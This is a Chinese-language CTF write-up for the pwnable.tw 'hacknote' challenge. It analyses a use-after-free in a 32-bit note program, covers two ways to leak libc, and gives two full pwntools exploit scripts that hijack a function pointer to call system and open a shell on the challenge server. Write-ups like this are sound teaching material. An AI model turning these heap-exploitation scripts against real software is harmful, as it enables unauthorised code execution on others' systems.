组里的师傅说每周一期刷题交流思路,感觉这个形式挺好,一方面督促拖延症的我,一方面又可以交换思路。嗯,这次的题目是 hacknote。一道比较基础的 uaf 漏洞,下面分析一下。
寻找漏洞点
先看一下开启的保护情况
1 2 3 4 5 6 7
| ❯ checksec hacknote [*] '/Users/carlstar/Downloads/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
漏洞点其实很好找,一道菜单类型的题目有三个功能:add delete print。其中的逻辑都很好看,没啥复杂的~
漏洞在 delete 函数中,free 后没有把相关指针置为 null 当再次申请堆空间时巧妙的构造堆块大小覆写之前的指针可以控制 eip 达到任意执行。接着就是围绕这个点构造利用链来 getshell。


做菜单类这种题型时如果可以分析出结构体对理解题目会有很大的帮助,在 add_note 时。因为 prev_size 和 size 在 32 位下占 8 bytes ,所以结构体的实际堆块大小为 16 bytes。在申请 content 内容时要大于 16 bytes。
1 2 3 4
| struct note{ void (*printnote)(); char *content; }
|
画一个图方便大家理解,我们在申请堆空间时这样申请,然后依次 free 掉之前申请的 note[1] note[0],接着申请如下大小的 size就可以拿到 之前 note 的内存空间。

还有一个坑点是在泄漏 libc 时 把指针覆盖为 puts_plt 时会原样输出,卡了一会发现用这里的 puts 可以做泄漏。想了一下可能是把栈上第一个参数当成返回地址,puts 输出的参数是栈上第二个位置吧,欢迎师傅们交流。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| .text0804862B ; __unwind { .text:0804862B push ebp .text:0804862C mov ebp, esp .text:0804862E sub esp, 8 .text:08048631 mov eax, [ebp+arg_0] .text:08048634 mov eax, [eax+4] .text:08048637 sub esp, 0Ch .text:0804863A push eax ; s .text:0804863B call _puts .text:08048640 add esp, 10h .text:08048643 nop .text:08048644 leave .text:08048645 retn .text:08048645 ; } // starts at 804862B
|
泄漏libc的两种方法
puts
通过 puts + got 表,gdb 来看看。


1 2 3 4 5 6 7
| add_note(20,"aaaa") #0 add_note(20,"bbbb") #1 delete_note("1") delete_note("0") add_note(8,p32(0x0804862B)+p32(got_atoi)) #2 print_note("1") addr_atoi = u32(t.recv(4))
|
leak unsorted bin的bk指针
当fastbin为空时,unsortbin的fd和bk指向自身main_arena,main_arena存储在libc.so.6文件的.data段,通过这个偏移我们就可以获取libc的基址。



1 2 3 4 5
| add_note(0x60,"A"*10) add_note(0x60,"B"*10) delete_note("0") add_note(0x60,"") print_note("2")
|
exp
对,还有构造 system 参数的时候因为参数是直接传入的结构体把 addr_system 也当作参数了,这个肯定不能丢,可以截断绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * context(log_level = "debug") t = remote('chall.pwnable.tw', 10102)
elf = ELF("./hacknote") def add_note(size,context): t.recvuntil("Your choice :") t.sendline('1') t.recvuntil("Note size :") t.sendline(str(size)) t.recvuntil("Content :") t.sendline(context)
def delete_note(index): t.recvuntil("Your choice :") t.sendline("2") t.recvuntil("Index :") t.sendline(index)
def print_note(index): t.recvuntil("Your choice :") t.sendline("3") t.recvuntil("Index :") t.sendline(index)
raw_input()
got_atoi = elf.got['atoi'] plt_puts = elf.symbols['puts']
add_note(20,"aaaa") add_note(20,"bbbb") delete_note("1") delete_note("0") add_note(8,p32(0x0804862B)+p32(got_atoi)) print_note("1") addr_atoi = u32(t.recv(4))
libc = ELF("./libc_32.so.6") addr_system = addr_atoi - libc.symbols['atoi'] + libc.symbols['system'] delete_note("2") add_note(8,p32(addr_system)+";$0;") print_note("1") t.interactive()
|
or
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * context(log_level = "debug") context.terminal = ['gnome-terminal','-x','bash','-c'] t = remote('chall.pwnable.tw', 10102)
elf = ELF("./hacknote") def add_note(size,context): t.recvuntil("Your choice :") t.sendline('1') t.recvuntil("Note size :") t.sendline(str(size)) t.recvuntil("Content :") t.sendline(context)
def delete_note(index): t.recvuntil("Your choice :") t.sendline("2") t.recvuntil("Index :") t.sendline(index)
def print_note(index): t.recvuntil("Your choice :") t.sendline("3") t.recvuntil("Index :") t.sendline(index)
raw_input()
got_atoi = elf.got['atoi'] plt_puts = elf.symbols['puts'] add_note(0x60,"A"*10) add_note(0x60,"B"*10) delete_note("0") add_note(0x60,"") print_note("2") t.recv(4) addr_bk = u32(t.recv(4)) print hex(addr_bk) libc = ELF("./libc_32.so.6") addr_system = addr_bk - 48 - 0x1B0780 + libc.symbols['system'] delete_note("0") delete_note("1")
add_note(0x70,p32(addr_system)+";sh\x00") print_note("0") t.interactive()
|